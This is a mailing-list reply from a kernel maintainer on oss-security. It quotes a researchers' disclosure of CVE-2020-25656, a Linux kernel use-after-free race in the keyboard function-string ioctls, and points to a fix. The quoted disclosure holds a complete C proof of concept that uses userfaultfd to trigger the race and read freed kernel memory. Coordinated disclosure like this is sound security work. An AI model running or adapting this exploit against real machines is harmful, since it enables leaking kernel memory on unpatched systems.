Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Fri, 16 Oct 2020 08:58:34 +0200
From: Jiri Slaby <jirislaby@...nel.org>
To: Minh Yuan <yuanmingbuaa@...il.com>, oss-security@...ts.openwall.com,
 Greg KH <gregkh@...uxfoundation.org>,
 Linux kernel mailing list <linux-kernel@...r.kernel.org>
Subject: Re: CVE-2020-25656: Linux kernel concurrency UAF in
 vt_do_kdgkb_ioctl

Cc Greg.

On 16. 10. 20, 5:39, Minh Yuan wrote:
> Hi,
> 
> We recently discovered a uaf read in vt_do_kdgkb_ioctl from linux kernel
> version 3.4 to the latest version (v5.9 for now).
> 
> The root cause of this vulnerability is that there exits a race in
> KDGKBSENT and KDSKBSENT.
> 
> Here are details:
> 1. use  KDSKBSENT to allocate a lager heap buffer to funcbufptr;
> 2. use KDGKBSENT to obtain the allocated heap pointer in step1 by
> func_table, at the same time, due to KDGKBSENT has no lock, we can use
> KDSKBSENT again to allocate a larger buffer than step1, and the old
> funcbufptr will be freed. However, we've obtained the heap pointer in
> KDGKBSENT, so a uaf read will happen while executing put_user.

Hi,

this is likely the issue I am fixing at:
https://git.kernel.org/pub/scm/linux/kernel/git/jirislaby/linux.git/commit/?h=devel&id=57c85191e788e172a446e34ef77d34473cfb1e8d

I think, it won't apply cleanly as it's a part of a larger set. I will 
reorder the patch and send something during the day.

Thanks.

> I've successfully reproduced this bug in a special way.
> However, to write a universal PoC for anyone else to reproduce it,  I use
> userfaultfd to handle the order of "free" and "use" in multithreading
> environment. This is my PoC:
> 
> // author by ziiiro@thu
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <sys/ioctl.h>
> #include <string.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <sys/mman.h>
> #include <poll.h>
> #include <pthread.h>
> #include <errno.h>
> #include <stdlib.h>
> #include <signal.h>
> #include <string.h>
> #include <sys/syscall.h>
> #include <linux/userfaultfd.h>
> #include <pthread.h>
> #include <poll.h>
> #include <linux/prctl.h>
> #include <stdint.h>
> 
> #define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
>                         } while (0)
> 
> #define KDGKBSENT 0x4B48 /* gets one function key string entry */
> #define KDSKBSENT 0x4B49 /* sets one function key string entry */
> 
> struct kbsentry {
> unsigned char kb_func;
> unsigned char kb_string[512];
> };
> int fd;
> static int page_size;
> static void *fault_handler_thread(void *arg) {
>    unsigned long value;
>    static struct uffd_msg msg;
>    static int fault_cnt = 0;
>    long uffd;
>    static char *page = NULL;
>    struct uffdio_copy uffdio_copy;
>    int len, i;
>    if (page == NULL) {
>      page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
>                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
>      if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
>    }
>    uffd = (long)arg;
> 
>    for(;;) {
>      struct pollfd pollfd;
>      pollfd.fd = uffd;
>      pollfd.events = POLLIN;
>      len = poll(&pollfd, 1, -1);
> 
> 
>      read(uffd, &msg, sizeof(msg));
>      printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
>      printf("    address = 0x%lx\n", msg.arg.pagefault.address);
>      switch(fault_cnt) {
>          case 0:
>              puts("triggered in the first page!");
>              break;
>          case 1:
>              puts("triggered in the seccond page!");
>              munmap((void*)0x233000,page_size);
>              void *addr = (void*)mmap((void*)0x233000,
>                          page_size,
>                          PROT_READ | PROT_WRITE,
>                          MAP_FIXED | MAP_PRIVATE | MAP_ANON,
>                          -1, 0);
>              if ((unsigned long)addr != 0x233000)
>                  errExit("mmap (0x233000)");
>              // register 0x233000 again to trigger put_user
>              struct uffdio_register uffdio_register;
>              uffdio_register.range.start = (unsigned long)addr;
>              uffdio_register.range.len   = page_size;
>              uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
>              if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
>                  errExit("ioctl: UFFDIO_REGITER");
>              break;
>          case 2:
>              puts("triggered in put_user!");
>              struct kbsentry *kbs;
>              kbs = malloc(sizeof(struct kbsentry));
>              kbs->kb_func = 0;
> 
> strcpy(kbs->kb_string,"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbb");
>              // free old funcbufptr
>              ioctl(fd,KDSKBSENT,kbs);
>              break;
> 
>      }
>      // return to kernel-land
>      uffdio_copy.src = (unsigned long)page;
>      uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
> ~(page_size - 1);
>      uffdio_copy.len = page_size;
>      uffdio_copy.mode = 0;
>      uffdio_copy.copy = 0;
>      if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
>          errExit("ioctl: UFFDIO_COPY");
> 
>      fault_cnt++;
> 
>    }
> }
> // use userfaultfd to handle free->use
> void setup_pagefault(void *addr, unsigned size) {
>    long uffd;
>    pthread_t th;
>    struct uffdio_api uffdio_api;
>    struct uffdio_register uffdio_register;
>    int s;
>    // new userfaulfd
> 
>    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
>    if (uffd == -1) errExit("userfaultfd");
>    // enabled uffd object
>    uffdio_api.api = UFFD_API;
>    uffdio_api.features = 0;
>    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
> UFFDIO_API");
>    // register memory address
>    uffdio_register.range.start = (unsigned long)addr;
>    uffdio_register.range.len   = size;
>    uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
> //UFFDIO_REGISTER_MODE_WP;//
>    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("io=
> ctl:
> UFFDIO_REGITER");
>    // monitor page fault
>    s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
>    if (s != 0) errExit("pthread_create");
> }
> 
> 
> int main(int argc, char** argv)
> {
>          struct kbsentry *kbs;
>          pthread_t th;
>          page_size = sysconf(_SC_PAGE_SIZE);
>          void *addr = (void*)mmap((void*)0x233000,
>                              page_size * 2,
>                              PROT_READ | PROT_WRITE,
>                              MAP_FIXED | MAP_PRIVATE | MAP_ANON,
>                              -1, 0);
>          if ((unsigned long)addr != 0x233000)
>              errExit("mmap (0x233000)");
>          setup_pagefault(addr, page_size * 2);
>          kbs = malloc(sizeof(struct kbsentry));
>          kbs->kb_func = 0;
>          fd = open("/dev/tty1", O_RDONLY, 0);
> 
> strcpy(kbs->kb_string,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
> a");
>          // allocate a lager funcbufptr
>          ioctl(fd,KDSKBSENT,kbs);
>          // use KDGKBSENT to access the new funcbufptr
>          ioctl(fd,KDGKBSENT,addr + page_size - 0x20);
>          return 1;
> 
> }
> 
> Make sure set KASAN in config, and to use userfaultfd, CONFIG_USERFAULTFD=y
> is also needed. Besides, it needs the privilege to access tty to trigger
> this bug.
> 
> We've noticed that this bug was also discovered by Syzbot 8 months ago, but
> no one has successfully reproduced it (
> https://groups.google.com/g/syzkaller-bugs/c/kZsmxkpq3UI/m/J35PFexWBgAJ),
> leaving this issue ignored and upatched yet. Hope this PoC can help
> someone.
> 
> Timeline:
> * 10.15.20 - Vulnerability reported to security@...nel.org and
> linux-distros@...openwall.org.
> * 10.15.20 - CVE-2020-25656 assigned.
> * 10.16.20 - Vulnerability opened.
> 
> Thanks,
> Yuan Ming and Bodong Zhao, Tsinghua University
> 


-- 
js
suse labs

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.